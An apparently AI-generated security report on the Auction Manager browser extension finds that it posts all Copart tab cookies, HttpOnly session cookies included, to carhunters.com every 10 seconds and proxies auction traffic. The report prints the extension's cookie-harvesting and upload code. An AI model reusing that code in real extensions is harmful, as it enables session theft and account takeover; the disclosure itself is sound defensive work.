Is Auction Manager safe?
Auction Manager sends your Copart session cookies to carhunters.com every 10 seconds and proxies auction traffic.
While you are signed in to the extension and browsing copart.com, a content script asks the background worker for all cookies on the active tab, including HttpOnly session cookies, and posts them every 10 seconds to a carhunters.com backend. The extension also sets a proxy that routes Copart and IAAI traffic through geo.iproyal.com using hardcoded credentials, which lets the proxy see the hosts you connect to.
Who publishes itCar Hunters - no other listings under this identity
Car Hunters - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Copart tab cookies are sent to carhunters.com every 10 seconds
Code analysis shows a Copart content script requests every cookie for the active tab, including HttpOnly ones, and posts them with your account email to www.carhunters.com:31000 every 10 seconds while signed in.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Static analysis
You browse copart.com while signed in to the extension.
The upload only runs when a bearer token and account record are stored.
The extension sends all cookies for the tab, with your account email, to www.carhunters.com:31000 every 10 seconds.
Cookies are read in the background worker, so HttpOnly session cookies are included.
- Cookie stringsessionid=<redacted>; visitor=<redacted>; ...
Every cookie for the page, including HttpOnly session cookies, joined as name=value pairs.
- Account emailuser@example.com (illustrative)
The email of the extension account the cookies are tied to.
- Site typecopart
Marks which auction site the cookies came from.
- Bearer tokenBearer <redacted>
Extension login token sent in the Authorization header.
Cookie request loop and background cookie read
Content script timer and upload
js/copart/index.jsconst intervalInvoice = setInterval(() => { chrome.runtime.sendMessage({ action: "getCookies" }, async function (response) { const cookieStrings = response.cookies.map(cookie => `${cookie.name}=${cookie.value}`); const cookieString = cookieStrings.join('; '); const { token } = await getToken(); const accounts = await getAccounts(); if (token && accounts) { const url = `${baseUrl}/user/setCookie`; const dataCookie = { cookie: cookieString, email: accounts.email, type: "copart" }; const response = await fetchRequestPost(url, dataCookie, headersCookie); } });}, 10000);Background handler
js/background.jsif (request.action === "getCookies") { chrome.tabs.query({ active: true, currentWindow: true }, function (tabs) { chrome.cookies.getAll({ url: tabs[0].url }, function (cookies) { sendResponse({ cookies }); }); }); return true;}- www.carhunters.com
Extension vendor backend on port 31000; receives the cookie string via /api/user/setCookie.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.0.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on copart.com
*://*.copart.com/*
Read and change your data on manheim.com
*://*.manheim.com/*
Read and change your data on iaai.com
*://*.iaai.com/*
Read and change your data on localhost:4000
http://localhost:4000/*
Route all of your browsing through a server of its choosing
proxy
Store data in your browser
storage
Store an unlimited amount of data in your browser
unlimitedStorage
Watch every request your browser makes
webRequest
See the address and title of every tab you have open
tabs
Read and change cookies, including the ones that keep you signed in
cookies
See, disable and uninstall your other extensions, including your security ones
management
Keep running in the background while your browser is open
background
Where it sends data
Destinations our analysis observed Auction Manager contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- geo.iproyal.com
Auction Manager sends data to geo.iproyal.com. No other extension we have analysed sends data here.
- www.carhunters.com
Auction Manager sends data to www.carhunters.com. No other extension we have analysed sends data here.